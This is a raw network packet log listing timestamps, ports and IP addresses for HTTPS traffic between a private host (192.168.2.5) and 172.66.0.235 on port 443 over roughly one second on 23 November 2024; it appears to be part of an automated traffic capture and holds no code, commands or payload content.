Nov 23, 2024 13:37:45.459821939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.459836960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.459882021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.466173887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.466192961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.466248035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.466764927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.472167015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.472182035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.472245932 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.472268105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.473953962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.474009037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.474023104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.474075079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.476785898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.476851940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.476865053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.481349945 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.481404066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.481420994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.481451035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.481499910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.481499910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.487793922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.487813950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.487873077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.487889051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.487941980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.634638071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.634685993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.634702921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.634721994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.634761095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.640844107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.640865088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.640904903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.640918970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.640954971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.645523071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.645567894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.645602942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.645622015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.645649910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.645668983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.651827097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.651846886 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.651891947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.651904106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.651933908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.651968956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.654769897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.654864073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.654891014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.661123991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.661171913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.661215067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.661227942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.661254883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.664252043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.664326906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.664339066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.665380955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.665442944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.665457010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.665510893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.671699047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.671745062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.671791077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.671808004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.671834946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.671869040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.678469896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.678534985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.678550959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.678569078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.678607941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.678607941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.790961027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.803255081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.827167988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.827214956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.827260017 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.827271938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.827332020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.827332020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.833586931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.833628893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.833673954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.833686113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.833714008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.833731890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.839226961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.839287043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.839293003 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.839333057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.839368105 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.839390039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.845592976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.845652103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.845678091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.845690012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.845727921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.845727921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.851938963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.851994991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.852019072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.852030993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.852065086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.852085114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.857918978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.857960939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.857990980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.858001947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.858032942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.858052969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.864305973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.864362955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.864387989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.864398956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.864449978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.864449978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.869962931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.870016098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.870057106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.870074034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:45.870124102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:45.870124102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.019520044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.019572020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.019627094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.019645929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.019680023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.019934893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.024019957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.024079084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.024101019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.024112940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.024143934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.025130033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.025235891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.025249004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.025304079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.026932955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.027002096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.030565023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.030638933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.030649900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.030702114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.035514116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.035562038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.035604954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.035617113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.035645962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.039690018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.039737940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.039757967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.039769888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.039800882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.039820910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.044265032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.044320107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.044352055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.044368982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.044395924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.048515081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.048564911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.048624039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.048638105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.048738956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.050199032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.050263882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.056663036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.056710005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.056740999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.056751966 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.056777000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.062342882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.062402964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.062427998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.062443972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.062477112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.111124039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.208303928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.208482027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.208502054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.212898016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.212949991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.213001013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.213021040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.213047028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.213068962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.215781927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.215874910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.215887070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.217578888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.217655897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.217669964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.217730045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.223948956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.223993063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.224030972 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.224044085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.224076033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.224092960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.226753950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.226850033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.226861000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.233160019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.233200073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.233246088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.233258009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.233284950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.239176035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.239223003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.239262104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.239274979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.239305973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.240936041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.240998030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.241014957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.241072893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.241930008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.241997004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.248404980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.248486996 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.248500109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.248512030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.248555899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.254692078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.254740000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.254765034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.254776955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.254806995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.290394068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.311743021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.403270960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.403359890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.403378963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.403397083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.403563976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.403563976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.407819986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.407880068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.407891989 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.407907963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.407979012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.409564018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.409641027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.415906906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.415952921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.415981054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.415992022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.416019917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.416039944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.422312975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.422354937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.422394991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.422405958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.422435999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.422465086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.427973986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.428019047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.428073883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.428086042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.428114891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.428133011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.433947086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.434007883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.434041023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.434051991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.434079885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.434099913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.440365076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.440407991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.440485001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.440496922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.440526962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.442816973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.446692944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.446734905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.446805000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.446816921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.446846962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.448843956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.595277071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.595376015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.595433950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.595508099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.595546961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.596003056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.601527929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.601579905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.601618052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.601633072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.601660967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.601684093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.607852936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.607899904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.607933044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.607945919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.607975960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.607994080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.614253998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.614296913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.614346027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.614356995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.614382029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.614407063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.619843960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.619891882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.619931936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.619944096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.619995117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.620014906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.624820948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.624906063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.624910116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.624946117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.624974966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.625842094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.625916004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.625931025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.626003027 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.629436970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.629519939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.629532099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.632317066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.632400036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.632414103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.634020090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.634083033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.634109020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.634177923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.640472889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.640520096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.640559912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.640573025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:46.640629053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:46.640629053 CET	49704	443	192.168.2.5	172.66.0.235
